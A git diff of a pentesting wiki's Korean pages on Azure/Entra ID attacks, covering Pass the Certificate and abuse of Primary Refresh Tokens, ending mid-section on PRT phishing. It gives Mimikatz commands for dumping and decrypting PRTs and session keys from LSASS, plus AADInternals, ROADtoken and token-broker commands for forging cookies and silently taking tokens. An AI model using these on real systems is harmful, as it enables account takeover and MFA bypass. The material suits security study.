mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['src/pentesting-cloud/azure-security/az-lateral-movement-clo
This commit is contained in:
Translator
+4
-5
@@ -420,6 +420,7 @@
|
||||
- [Az - CosmosDB](pentesting-cloud/azure-security/az-services/az-cosmosDB.md)
|
||||
- [Az - Defender](pentesting-cloud/azure-security/az-services/az-defender.md)
|
||||
- [Az - File Shares](pentesting-cloud/azure-security/az-services/az-file-shares.md)
|
||||
- [Az - Front Door](pentesting-cloud/azure-security/az-services/az-front-door.md)
|
||||
- [Az - Function Apps](pentesting-cloud/azure-security/az-services/az-function-apps.md)
|
||||
- [Az - Intune](pentesting-cloud/azure-security/az-services/intune.md)
|
||||
- [Az - Key Vault](pentesting-cloud/azure-security/az-services/az-keyvault.md)
|
||||
@@ -442,21 +443,19 @@
|
||||
- [Az - Permissions for a Pentest](pentesting-cloud/azure-security/az-permissions-for-a-pentest.md)
|
||||
- [Az - Lateral Movement (Cloud - On-Prem)](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md)
|
||||
- [Az AD Connect - Hybrid Identity](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/README.md)
|
||||
- [Az - Synchronising New Users](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md)
|
||||
- [Az - Hybrid Identity Misc Attacks](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-hybrid-identity-misc-attack.md)
|
||||
- [Az - Cloud Kerberos Trust](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md)
|
||||
- [Az - Federation](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md)
|
||||
- [Az - Federation](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-federation.md)
|
||||
- [Az - Cloud Sync](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-sync.md)
|
||||
- [Az - Connect Sync](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-connect-sync.md)
|
||||
- [Az - Default Applications](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md)
|
||||
- [Az - Domain Services](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-domain-services.md)
|
||||
- [Az - PTA - Pass-through Authentication](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md)
|
||||
- [Az - PTA - Pass-through Authentication](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-pta-pass-through-authentication.md)
|
||||
- [Az - Seamless SSO](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md)
|
||||
- [Az - Arc vulnerable GPO Deploy Script](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md)
|
||||
- [Az - Local Cloud Credentials](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md)
|
||||
- [Az - Pass the Cookie](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md)
|
||||
- [Az - Pass the Certificate](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md)
|
||||
- [Az - Pass the PRT](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md)
|
||||
- [Az - Phishing Primary Refresh Token (Microsoft Entra)](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-entra.md)
|
||||
- [Az - Processes Memory Access Token](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md)
|
||||
- [Az - Primary Refresh Token (PRT)](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md)
|
||||
- [Az - Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/README.md)
|
||||
|
||||
+6
-6
@@ -4,13 +4,13 @@
|
||||
|
||||
## Pass the Certificate (Azure)
|
||||
|
||||
Azure에 가입된 머신에서는 두 머신이 **NegoEx** 인증 메커니즘을 지원할 때, **Azure AD CA**에서 발급된 인증서를 사용하여 한 머신에서 다른 머신으로 인증할 수 있습니다.
|
||||
Azure에 가입된 머신에서는 두 머신이 **NegoEx** 인증 메커니즘을 지원할 때, **Entra ID CA**에서 발급된 인증서를 사용하여 한 머신에서 다른 머신으로 인증할 수 있습니다.
|
||||
|
||||
매우 간단히 말하자면:
|
||||
|
||||
- 연결을 시작하는 머신(클라이언트)은 **사용자를 위한 Azure AD의 인증서**가 필요합니다.
|
||||
- 클라이언트는 PRT 및 기타 세부 정보를 포함하는 JSON Web Token (JWT) 헤더를 생성하고, 파생 키(세션 키와 보안 컨텍스트를 사용하여)를 사용하여 서명한 후 **Azure AD로 전송**합니다.
|
||||
- Azure AD는 클라이언트 세션 키와 보안 컨텍스트를 사용하여 JWT 서명을 검증하고, PRT의 유효성을 확인한 후 **인증서**로 **응답**합니다.
|
||||
- 연결을 시작하는 머신(클라이언트)은 **사용자를 위한 Entra ID의 인증서**가 필요합니다.
|
||||
- 클라이언트는 PRT 및 기타 세부 정보를 포함하는 JSON Web Token (JWT) 헤더를 생성하고, 파생 키(세션 키와 보안 컨텍스트를 사용하여)로 서명한 후 **Entra ID에 전송**합니다.
|
||||
- Entra ID는 클라이언트 세션 키와 보안 컨텍스트를 사용하여 JWT 서명을 검증하고, PRT의 유효성을 확인한 후 **인증서**로 **응답**합니다.
|
||||
|
||||
이 시나리오에서 [**Pass the PRT**](pass-the-prt.md) 공격에 필요한 모든 정보를 확보한 후:
|
||||
|
||||
@@ -20,11 +20,11 @@ Azure에 가입된 머신에서는 두 머신이 **NegoEx** 인증 메커니즘
|
||||
- 보안 컨텍스트
|
||||
- 파생 키
|
||||
|
||||
도구 [**PrtToCert**](https://github.com/morRubin/PrtToCert)**를 사용하여 사용자를 위한 **P2P 인증서**를 **요청**할 수 있습니다.
|
||||
사용자를 위한 **P2P 인증서**를 요청할 수 있습니다. 도구 [**PrtToCert**](https://github.com/morRubin/PrtToCert)**:**
|
||||
```bash
|
||||
RequestCert.py [-h] --tenantId TENANTID --prt PRT --userName USERNAME --hexCtx HEXCTX --hexDerivedKey HEXDERIVEDKEY [--passPhrase PASSPHRASE]
|
||||
```
|
||||
인증서는 PRT와 동일한 기간 동안 유효합니다. 인증서를 사용하려면 파이썬 도구 [**AzureADJoinedMachinePTC**](https://github.com/morRubin/AzureADJoinedMachinePTC)를 사용하여 원격 머신에 **인증**하고, **PSEXEC**를 실행하며 피해자 머신에서 **CMD**를 엽니다. 이를 통해 Mimikatz를 다시 사용하여 다른 사용자의 PRT를 얻을 수 있습니다.
|
||||
인증서는 PRT와 동일한 기간 동안 유효합니다. 인증서를 사용하려면 [**AzureADJoinedMachinePTC**](https://github.com/morRubin/AzureADJoinedMachinePTC)라는 파이썬 도구를 사용하여 원격 머신에 **인증**하고, **PSEXEC**를 실행하며 피해자 머신에서 **CMD**를 엽니다. 이를 통해 Mimikatz를 다시 사용하여 다른 사용자의 PRT를 얻을 수 있습니다.
|
||||
```bash
|
||||
Main.py [-h] --usercert USERCERT --certpass CERTPASS --remoteip REMOTEIP
|
||||
```
|
||||
|
||||
-7
@@ -1,7 +0,0 @@
|
||||
# Az - Phishing Primary Refresh Token (Microsoft Entra)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
**확인:** [**https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/**](https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+251
-1
@@ -2,6 +2,256 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
**다음 게시물을 확인하세요** [**https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/) 같은 내용을 설명하는 다른 게시물은 [**https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30**](https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30)에서 찾을 수 있습니다.
|
||||
## Primary Refresh Token (PRT)란 무엇인가요?
|
||||
|
||||
**Primary Refresh Token (PRT)**는 Azure AD (Entra ID) 인증에 사용되는 장기 생명 주기의 리프레시 토큰으로, Kerberos TGT와 유사합니다. Azure AD에 가입된 장치에서 사용자 로그인이 이루어질 때 발급되며, 자격 증명을 다시 요청하지 않고도 다양한 애플리케이션에 대한 액세스 토큰을 요청하는 데 사용될 수 있습니다. 각 PRT는 **세션 키**(소유 증명 키라고도 함)와 함께 제공됩니다. 이는 요청에 서명하고 클라이언트가 PRT를 보유하고 있음을 증명하는 데 사용되는 대칭 키입니다. PRT 자체는 불투명하고 암호화된 블롭(클라이언트가 읽을 수 없음)이며, 세션 키는 토큰 요청 시 PRT를 포함하는 JWT를 **서명**하는 데 사용됩니다. 다시 말해, PRT만으로는 충분하지 않으며, 공격자는 합법성을 증명하기 위해 세션 키가 필요합니다. 이는 Kerberos TGT와 그 세션 키가 모두 필요하다는 점과 유사합니다.
|
||||
|
||||
Windows에서는 PRT와 세션 키가 CloudAP 플러그인을 통해 LSASS 프로세스에 캐시됩니다. 장치에 **TPM**(신뢰할 수 있는 플랫폼 모듈)이 있는 경우, Azure AD는 추가 보안을 위해 키를 TPM에 바인딩합니다. 이는 TPM이 장착된 장치에서 세션 키가 TPM 내에 저장되거나 사용되어 일반적인 상황에서는 메모리에서 직접 읽을 수 없음을 의미합니다. TPM이 없는 경우(예: 많은 VM 또는 구형 시스템) 키는 소프트웨어에 보관되며 DPAPI 암호화로 보호됩니다. 두 경우 모두, 관리 권한이나 코드 실행 권한이 있는 공격자는 **메모리에서 PRT와 세션 키를 덤프**하려고 시도할 수 있으며, 이를 사용하여 클라우드에서 사용자를 가장할 수 있습니다. 일반적인 리프레시 토큰(일반적으로 애플리케이션 특정)과 달리, PRT는 더 넓은 범위를 가지며, 장치가 거의 모든 Entra ID 통합 리소스나 서비스에 대한 토큰을 요청할 수 있도록 합니다.
|
||||
|
||||
## PRT는 어떻게 작동하나요?
|
||||
|
||||
PRT의 작동 방식을 간단히 설명하면 다음과 같습니다:
|
||||
|
||||
1. **장치 등록:**
|
||||
|
||||
- Windows 노트북이나 모바일 전화와 같은 장치가 Entra ID에 가입하거나 등록할 때, 자격 증명(사용자 이름/비밀번호/MFA)을 사용하여 인증합니다.
|
||||
|
||||
- 인증이 성공하면, Entra ID는 특정 장치에 바인딩된 PRT를 발급합니다.
|
||||
|
||||
2. **토큰 저장:**
|
||||
|
||||
- PRT는 장치에 안전하게 저장되며, 종종 신뢰할 수 있는 플랫폼 모듈(TPM)과 같은 하드웨어 기능으로 보호되어 무단 사용자가 추출하거나 악용하기 어렵습니다.
|
||||
|
||||
3. **싱글 사인온(SSO):**
|
||||
|
||||
- Entra ID로 보호된 애플리케이션(예: Microsoft 365 앱, SharePoint, Teams)에 접근할 때마다, 장치는 저장된 PRT를 사용하여 해당 앱에 대한 특정 액세스 토큰을 요청하고 얻습니다.
|
||||
|
||||
- PRT가 인증을 투명하게 처리하므로 자격 증명을 반복해서 입력할 필요가 없습니다.
|
||||
|
||||
4. **갱신 및 보안:**
|
||||
|
||||
- PRT는 긴 수명을 가지며(일반적으로 약 14일), 장치가 적극적으로 사용되는 한 지속적으로 갱신됩니다.
|
||||
|
||||
- 장치가 손상되거나 분실되면, 관리자는 원격으로 PRT를 취소하여 무단 접근을 즉시 차단할 수 있습니다.
|
||||
|
||||
### PRT가 강력한 이유는 무엇인가요?
|
||||
|
||||
- **범용 접근:** 일반적으로 하나의 앱이나 리소스에 제한된 토큰과 달리, PRT는 모든 Entra ID 통합 서비스에 대한 접근을 용이하게 합니다.
|
||||
|
||||
- **강화된 보안:** TPM과 같은 내장 하드웨어 보호 기능을 통해 PRT는 안전한 토큰 저장 및 사용을 보장합니다.
|
||||
|
||||
- **사용자 경험:** PRT는 빈번한 인증 프롬프트를 줄이고 진정한 원활한 SSO를 가능하게 하여 사용자 경험을 크게 향상시킵니다.
|
||||
|
||||
## PRT가 존재하는지 확인하는 방법은 무엇인가요?
|
||||
|
||||
- PRT가 존재하는지 확인하세요:
|
||||
```bash
|
||||
# Execute
|
||||
dsregcmd /status
|
||||
## Check if the value of AzureAdPrt is set to YES
|
||||
```
|
||||
- TPM으로 보호되는지 확인:
|
||||
```bash
|
||||
Get-Tpm | Select TpmPresent,TpmReady,TpmEnabled,TpmOwned
|
||||
# TpmPresent/Ready = True indicates the device can bind secrets to TPM.
|
||||
|
||||
dsregcmd /status
|
||||
# In Device State / WHfB prerequisites you’ll typically see:
|
||||
# KeyProvider = Microsoft Platform Crypto Provider ⇒ TPM hardware key;
|
||||
# KeyProvider = Software Key Storage Provider ⇒ not TPM‑bound.
|
||||
# Some builds also show TpmProtected: YES/NO and KeySignTest (run elevated to test).
|
||||
```
|
||||
## Dump and user unprotected PRTs
|
||||
|
||||
According to [this post](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/) on Windows devices **TPM 바인딩이 없는** 경우, PRT와 그 세션 키는 LSASS (CloudAP 플러그인)에 저장됩니다. 해당 장치에서 로컬 관리자/SYSTEM 권한을 가진 경우, PRT 블롭과 DPAPI로 암호화된 세션 키를 **LSASS에서 읽고, DPAPI를 통해 세션 키를 복호화하며, 서명 키를 유도**하여 유효한 PRT 쿠키(`x‑ms‑RefreshTokenCredential`)를 생성할 수 있습니다. PRT와 그 세션 키가 모두 필요하며, PRT 문자열만으로는 충분하지 않습니다.
|
||||
|
||||
### Mimikatz
|
||||
```bash
|
||||
privilege::debug
|
||||
sekurlsa::cloudap
|
||||
```
|
||||
**PRT 필드**는 암호화된 리프레시 토큰(일반적으로 base64 문자열)을 포함하고, ProofOfPossessionKey의 KeyValue는 DPAPI로 암호화된 세션 키(또한 base64)입니다.
|
||||
|
||||
그런 다음, **`sekurlsa::cloudap`** 출력에서 `ProofOfPossessionKey` 필드 내의 **`KeyValue`**에서 base64 블롭을 복사합니다(이것은 DPAPI로 암호화된 세션 키입니다). 이 암호화된 키는 그대로 사용할 수 없으며, 시스템의 DPAPI 자격 증명을 사용하여 복호화해야 합니다.
|
||||
|
||||
시스템 비밀에 대한 DPAPI 암호화는 머신의 시스템 컨텍스트를 요구하므로, 토큰을 SYSTEM으로 상승시키고 Mimikatz의 DPAPI 모듈을 사용하여 복호화합니다:
|
||||
```bash
|
||||
token::elevate
|
||||
dpapi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect
|
||||
```
|
||||
`token::elevate`는 SYSTEM을 가장하고, `dpapi::cloudapkd` 명령어는 `/unprotect`와 함께 제공된 KeyValue blob을 복호화하기 위해 DPAPI 마스터 키를 사용합니다. 이는 평문 세션 키와 서명에 사용된 관련된 파생 키 및 컨텍스트를 생성합니다:
|
||||
- **Clear key** – 평문으로 된 32바이트 세션 키(16진수 문자열로 표현됨).
|
||||
- **Derived Key** – 세션 키와 컨텍스트 값에서 파생된 32바이트 키(아래에서 더 설명).
|
||||
- **Context** – PRT 쿠키의 서명 키를 파생할 때 사용된 24바이트 랜덤 컨텍스트.
|
||||
|
||||
> [!NOTE]
|
||||
> 사용자를 가장하는 데 이 방법이 작동하지 않으면 **`AADInternals`**를 사용하는 다음 섹션을 확인하세요.
|
||||
|
||||
그런 다음, mimikatz를 사용하여 유효한 PRT 쿠키를 생성할 수도 있습니다:
|
||||
```bash
|
||||
# Context is obtained from papi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect
|
||||
# Derivedkey is obtained from papi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect
|
||||
# PRT is obtained from sekurlsa::cloudap (filed "Prt"
|
||||
dpapi::cloudapkd /context:<ContextHex> /derivedkey:<DerivedKeyHex> /prt:<PRT>
|
||||
```
|
||||
Mimikatz는 "Signature with key"라는 줄 이후에 서명된 JWT(`PRT cookie`)를 출력하며, 이 JWT는 PRT를 포함하고 파생된 키를 사용하여 서명됩니다. 이 JWT는 복사하여 웹 세션에서 사용할 수 있습니다. 예를 들어, 공격자는 브라우저를 열고 `login.microsoftonline.com`으로 이동한 다음, 이 JWT 값을 가진 `x-ms-RefreshTokenCredential`이라는 이름의 쿠키를 설정할 수 있습니다. 브라우저가 새로 고침되거나 탐색할 때, Azure AD는 세션을 인증된 것으로 간주하며(PRT 쿠키가 SSO가 발생한 것처럼 제시됨), 지정된 리소스에 대한 권한 부여 코드 또는 액세스 토큰을 발급합니다. 실제로는 Office 365 또는 Azure 포털과 같은 리소스로 이동하게 되며, 유효한 PRT 쿠키가 존재하면 Azure AD는 추가 로그인 없이 접근을 허용합니다(MFA를 우회하며, PRT는 이미 인증되었습니다).
|
||||
|
||||
또한 **`roadtx`** 및 **`roadrecon`**을 PRT 쿠키의 PRT와 함께 사용하여 사용자를 가장할 수 있습니다 *(TODO: roadtx/roadrecon을 사용하여 PRT에서 자격 증명을 얻기 위한 정확한 명령어를 찾기)*.
|
||||
|
||||
|
||||
### AADInternals
|
||||
|
||||
**`AADInternals`** PowerShell 모듈은 이전에 얻은 PRT 및 세션 키와 함께 사용하여 유효한 PRT 토큰을 생성하는 데 사용할 수 있습니다. 이는 nonce가 있는 새로운 PRT 토큰을 얻는 프로세스를 자동화하는 데 유용하며, Azure AD Graph API 또는 기타 리소스에 대한 액세스 토큰을 가져오는 데 사용할 수 있습니다:
|
||||
```bash
|
||||
# Code from https://aadinternals.com/post/prt/
|
||||
# Add the PRT to a variable
|
||||
$MimikatzPRT = "MS5BVUVCNFdiUV9UZnV2RW13ajlEaFVoR2JCSWM3cWpodG9CZElzblY2TVdtSTJUdENBY1JCQVEuQWdBQkF3RUFBQUJWclNwZXVXYW1SYW0yakFGMVhSUUVBd0RzX3dVQTlQO...R0RjNFQ0QxaHJ1RFdJeHZUM0stWjJpQVhmMnBLeWpPaHBIOVc"
|
||||
|
||||
# Add padding
|
||||
while($MimikatzPRT.Length % 4) {$MimikatzPRT += "="}
|
||||
|
||||
# Convert from Base 64
|
||||
$PRT = [text.encoding]::UTF8.GetString([convert]::FromBase64String($MimikatzPRT))
|
||||
|
||||
# Add the session key (Clear key) to a variable
|
||||
$MimikatzKey = "7ee0b1f2eccbae440190bf0761bc52099ad7ae7d10d28bd83b67a81a0dfa0808"
|
||||
|
||||
# Convert to byte array and base 64 encode
|
||||
$SKey = [convert]::ToBase64String( [byte[]] ($MimikatzKey -replace '..', '0x$&,' -split ',' -ne ''))
|
||||
|
||||
# Generate a new PRTToken with nonce
|
||||
$prtToken = New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey
|
||||
|
||||
# Get an access token for MS Graph API
|
||||
Get-AADIntAccessTokenForMSGraph -PRTToken $prtToken
|
||||
```
|
||||
이것은 새 PRT 쿠키(논스 포함)를 얻고, 이를 사용하여 Azure AD Graph API에 대한 액세스 토큰을 가져옵니다(사용자를 대신하여 클라우드 액세스를 시연). AADInternals는 많은 암호화 작업을 추상화하고 Windows 구성 요소 또는 자체 논리를 내부에서 사용합니다.
|
||||
|
||||
## 보호된 PRT 남용
|
||||
|
||||
언급된 보호 조치에도 불구하고, 이미 장치를 손상시킨 공격자(로컬 사용자 또는 심지어 SYSTEM으로서)는 여전히 **Windows의 자체 토큰 브로커 API 및 보안 구성 요소를 활용하여 새 액세스 토큰을 얻기 위해 PRT를 남용할 수 있습니다**. 공격자는 원시 PRT 또는 키를 **추출하는 대신**, 본질적으로 **"Windows에 PRT를 대신 사용해 달라고 요청"합니다**. 아래 섹션에서는 TPM 보호가 적용된 최신 Windows 장치에서 PRT 및 세션 키를 남용하기 위한 현재 유효한 기술을 설명합니다. 이 모든 기술은 대상 머신에서의 포스트 익스플로잇 액세스를 가정하며, **내장 인증 흐름을 남용하는 데 초점을 맞춥니다**(패치되지 않은 취약점이 필요하지 않음).
|
||||
|
||||
### Windows 토큰 브로커 아키텍처 및 SSO 흐름
|
||||
|
||||
현대 Windows는 내장된 **토큰 브로커** 스택을 통해 클라우드 인증을 처리하며, 여기에는 사용자 모드와 LSASS(로컬 보안 권한) 모두의 구성 요소가 포함됩니다. 이 아키텍처의 주요 구성 요소는 다음과 같습니다:
|
||||
|
||||
- **LSASS CloudAP 플러그인:** 장치가 Azure AD에 가입되면, LSASS는 PRT 및 토큰 요청을 관리하는 클라우드 인증 패키지(예: `CloudAP.dll`, `aadcloudap.dll`, `MicrosoftAccountCloudAP.dll`)를 로드합니다. LSASS(시스템으로 실행됨)는 PRT 저장, 갱신 및 사용을 조정하고, TPM과 인터페이스하여 암호화 작업(예: 세션 키로 PRT 챌린지를 서명하는 작업)을 수행합니다.
|
||||
|
||||
- **웹 계정 관리자(WAM):** Windows 웹 계정 관리자는 사용자 모드 프레임워크( COM/WinRT API를 통해 접근 가능)로, 애플리케이션이나 브라우저가 자격 증명을 요청하지 않고 클라우드 계정에 대한 토큰을 요청할 수 있게 합니다. WAM은 사용자 애플리케이션과 보안 LSASS/TPM 기반 PRT 간의 브로커 역할을 합니다. 예를 들어, Microsoft의 MSAL 라이브러리와 특정 OS 구성 요소는 WAM을 사용하여 로그인한 사용자의 PRT를 사용하여 조용히 토큰을 획득합니다.
|
||||
|
||||
- **BrowserCore.exe 및 토큰 브로커 COM 인터페이스:** 브라우저 SSO를 위해 Windows는 **BrowserCore.exe**라는 구성 요소를 포함합니다(*Windows Security\BrowserCore* 아래에 위치). 이는 브라우저(Edge, Chrome 확장을 통해 등)가 Azure AD 로그인을 위한 PRT 파생 SSO 토큰을 얻기 위해 사용하는 네이티브 메시징 호스트입니다. 내부적으로 BrowserCore는 `MicrosoftAccountTokenProvider.dll`에서 제공하는 COM 객체를 활용하여 PRT 기반 쿠키/토큰을 검색합니다. 본질적으로 이 COM 인터페이스는 사용자가 실행 중인 모든 프로세스가 SSO 토큰을 얻기 위해 호출할 수 있는 1차 "토큰 브로커" API입니다(사용자가 LSASS에 유효한 PRT를 가지고 있는 경우).
|
||||
|
||||
Azure AD에 가입된 사용자가 리소스(예: Azure Portal)에 접근하려고 할 때, 흐름은 일반적으로: 애플리케이션이 WAM 또는 BrowserCore의 COM 인터페이스를 호출하고, 이는 다시 LSASS와 통신합니다. LSASS는 PRT 및 세션 키(TPM에 의해 보호됨)를 사용하여 **SSO 토큰** -- 종종 **PRT 쿠키**라고 불리는 -- 을 생성하고, 이를 애플리케이션이나 브라우저에 반환합니다. PRT 쿠키는 암호화된 PRT와 논스를 포함하는 특별한 JWT로, PRT의 세션 키에서 파생된 키로 서명됩니다. 이 쿠키는 Azure AD에 전송되어(`x-ms-RefreshTokenCredential` 헤더에) 장치와 사용자가 유효한 PRT를 보유하고 있음을 증명하며, Azure AD가 다양한 애플리케이션에 대한 표준 OAuth 갱신 및 액세스 토큰을 발급할 수 있게 합니다. 특히, PRT에 존재하는 모든 다단계 인증(MFA) 주장은 이 SSO 프로세스를 통해 얻은 토큰에 포함되므로, PRT 파생 토큰은 MFA 보호 리소스를 만족시킬 수 있습니다.
|
||||
|
||||
### 사용자 수준 토큰 탈취(비관리자)
|
||||
|
||||
공격자가 **사용자 수준 코드 실행**을 가지고 있을 때, PRT의 TPM 보호는 공격자가 토큰을 얻는 것을 막지 않습니다. 공격자는 **내장 Windows 토큰 브로커 API를 활용합니다**:
|
||||
|
||||
#### **BrowserCore (MicrosoftAccountTokenProvider COM)**
|
||||
|
||||
BrowserCore는 PRT 쿠키를 가져오기 위해 COM 클래스(`MicrosoftAccountTokenProvider`, CLSID `{a9927f85-a304-4390-8b23-a75f1c668600}`)를 노출합니다. 이 COM API는 Azure AD SSO를 위해 브라우저(Chrome/Edge 확장)에서 정당하게 호출됩니다.
|
||||
|
||||
- **[RequestAADRefreshToken](https://github.com/leechristensen/RequestAADRefreshToken)**
|
||||
```bash
|
||||
RequestAADRefreshToken.exe --uri https://login.microsoftonline.com
|
||||
```
|
||||
*(Azure AD 리프레시 토큰 또는 PRT 쿠키를 반환합니다)*
|
||||
|
||||
- **[ROADtoken](https://github.com/dirkjanm/ROADtoken)** & **[ROADtools](https://github.com/dirkjanm/ROADtools)**
|
||||
```bash
|
||||
ROADtoken.exe --nonce <nonce-value>
|
||||
roadrecon auth --prt-cookie <cookie>
|
||||
```
|
||||
*(Nonce를 생성하고, BrowserCore를 호출하여 PRT 쿠키를 가져온 다음, ROADtools를 통해 이를 교환합니다)*
|
||||
|
||||
|
||||
### **웹 계정 관리자 (WAM) API**
|
||||
|
||||
공격자는 사용자 수준 프로세스에서 합법적인 Microsoft 인증 라이브러리(**MSAL**, **WAM API**, **WebAuthenticationCoreManager**)를 사용하여 TPM으로 보호된 PRT를 활용하여 조용히 토큰을 검색합니다.
|
||||
|
||||
|
||||
- **[aadprt](https://posts.specterops.io/)**
|
||||
```bash
|
||||
execute-assembly aadprt.exe
|
||||
```
|
||||
*(COM 인터페이스를 통해 PRT 쿠키를 검색합니다)*
|
||||
|
||||
- **[listwamaccounts](https://posts.specterops.io/)**
|
||||
```bash
|
||||
execute-assembly listwamaccounts.exe
|
||||
```
|
||||
*(WAM을 통해 로그인한 Azure AD 계정 목록; 토큰 대상을 식별)*
|
||||
|
||||
- **일반적인 예시 (MSAL을 사용한 PowerShell)**:
|
||||
```powershell
|
||||
$app = [Microsoft.Identity.Client.PublicClientApplicationBuilder]::Create("client-id").Build()
|
||||
$result = $app.AcquireTokenSilent(@("https://graph.microsoft.com/.default"), $app.GetAccountsAsync().Result[0]).ExecuteAsync().Result
|
||||
$result.AccessToken
|
||||
```
|
||||
*(조용히 PRT를 활용하여 액세스 토큰을 얻음)*
|
||||
|
||||
#### 관리자 / SYSTEM 수준의 토큰 남용
|
||||
|
||||
공격자가 **관리자 또는 SYSTEM**으로 상승하면, Azure AD에 로그인한 모든 사용자를 직접 가장하고 동일한 **COM/WAM 토큰 브로커 API**를 사용할 수 있습니다. TPM으로 보호된 PRT는 이러한 정당한 토큰 발급을 방지하지 않습니다.
|
||||
|
||||
### **사용자 가장 및 토큰 검색**
|
||||
|
||||
Admin/SYSTEM은 다른 사용자의 실행 중인 세션을 가장하여 BrowserCore 또는 WAM을 호출하여 토큰을 생성할 수 있습니다.
|
||||
|
||||
이를 위해 사용자 프로세스(예: `explorer.exe`)를 가장하고 이전 섹션에서 언급된 기술을 사용하여 토큰 브로커 API를 호출하면 됩니다.
|
||||
|
||||
### **직접 LSASS 및 토큰 브로커 상호작용 (고급)**
|
||||
|
||||
관리자는 여전히 LSASS와 함께 작업하여 PRT를 남용할 수 있습니다: 예를 들어, 관리자는 LSASS에 코드를 주입하거나 내부 CloudAP 함수를 호출하여 LSASS가 토큰을 생성하도록 유도할 수 있습니다. Dirk-jan의 연구에 따르면 관리자는 “crypto API를 사용하여 LSASS에서 PRT 키와 상호작용할 수 있습니다.” 실제로 이는 LSASS의 자체 기능(가능한 경우 API 후킹 또는 RPC와 같은 기술을 통해)을 사용하여 PRT 쿠키를 생성하는 것을 의미할 수 있습니다. 또 다른 접근 방식은 세션 키가 메모리에 나타날 수 있는 모든 창을 악용하는 것입니다 – 예를 들어, PRT 갱신 또는 장치 등록 시 사용을 위해 암호화되지 않은 순간입니다. 이러한 공격은 상당히 복잡하고 상황에 따라 다릅니다. 보다 간단한 관리자 전술은 기존 토큰 핸들 또는 캐시를 남용하는 것입니다: LSASS는 메모리에서 최근에 발급된 새로 고침 토큰을 캐시합니다(암호화된 DPAPI로). 결단력 있는 SYSTEM 공격자는 이러한 DPAPI로 보호된 토큰을 추출하려고 시도할 수 있습니다(관리자가 얻을 수 있는 사용자의 마스터 키를 사용하여) 특정 애플리케이션에 대한 새로 고침 토큰을 직접 훔치는 것입니다. 그러나 가장 쉽고 일반적인 방법은 가장과 문서화된 토큰 브로커 인터페이스를 사용하는 것입니다. 이는 Azure AD가 모든 적절한 클레임을 가진 새 토큰을 발급하도록 보장하기 때문입니다. 암호화를 해독하려고 시도하는 것보다 더 안전합니다.
|
||||
|
||||
## PRT 피싱
|
||||
|
||||
**Microsoft Authentication Broker 클라이언트 ID**(**`29d9ed98-a469-4536-ade2-f981bc1d605e`**)와 **장치 등록 서비스(DRS)** 리소스를 사용하여 **주요 새로 고침 토큰(PRT)으로 업그레이드할 수 있는 새로 고침 토큰**을 얻기 위해 **OAuth 장치 코드** 흐름을 남용합니다.
|
||||
|
||||
### **이유**
|
||||
|
||||
- **PRT**는 **장치에 바인딩**되어 있으며 **(거의 모든) Entra 보호 앱에 대한 SSO를 가능하게 합니다.**
|
||||
- **브로커 클라이언트 + DRS** 조합은 피싱된 **새로 고침 토큰**을 **PRT로 교환할 수 있게 합니다**. 장치가 등록되면 가능합니다.
|
||||
- **MFA가 우회되지 않음**: **사용자가 피싱 중 MFA를 수행**합니다; **MFA 클레임이** 결과 PRT로 전파되어 공격자가 **추가 프롬프트 없이** 앱에 접근할 수 있게 합니다.
|
||||
|
||||
**전제 조건**:
|
||||
|
||||
